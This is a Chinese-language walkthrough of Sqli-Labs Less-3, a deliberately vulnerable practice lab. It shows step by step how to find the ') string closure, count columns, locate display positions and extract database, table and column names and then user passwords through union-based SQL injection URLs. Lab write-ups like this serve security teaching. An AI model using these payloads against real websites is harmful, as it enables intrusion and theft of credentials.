Sqli-Labs闯关—Less3
基于错误的GET单引号变形字符型注入
(1)判断注入类型
输入?id=1’ 页面显示不正常,出现一个括号),怀疑sql语句是以括号闭合的
http://localhost/sqli-labs-master/Less-3/?id=1’
输入?id=1’)–+页面回显正常,说明此处是字符型注入,而且是以(’’)的方式闭合字符串的。
(2)使用order by判断列数
输入order by 3页面回显正常,输入order by 4页面回显不正常,说明列数为3列。
(3)判断显示位
将id改成一个不存在的值-1,使第一个select查询结果为空。使用union select 1,2,3联合查询查看页面是否有显示位。
页面显示2,3,说明页面有两个显示位。
(4)获取数据库名
查看所有数据库,输入http://url/?id=-1’) union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+
查看当前数据库名称,输入
http://url/?id=-1’) union select 1,database(),3 --+
(5)查询表名
查询security库中所有的表名
http://url/?id=-1’) union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),3 --+
(6)查询列名
查询users表中的列名
http://url/?id=-1’) union select 1,(select group_concat(column_name) from information_schema.columns where table_name=‘users’),3 --+
(7)查询字段中的数值
查询users表中username和password的字段值
http://url/?id=-1’) union select 1,
(select group_concat(username) from users),
(select group_concat(password) from users) --+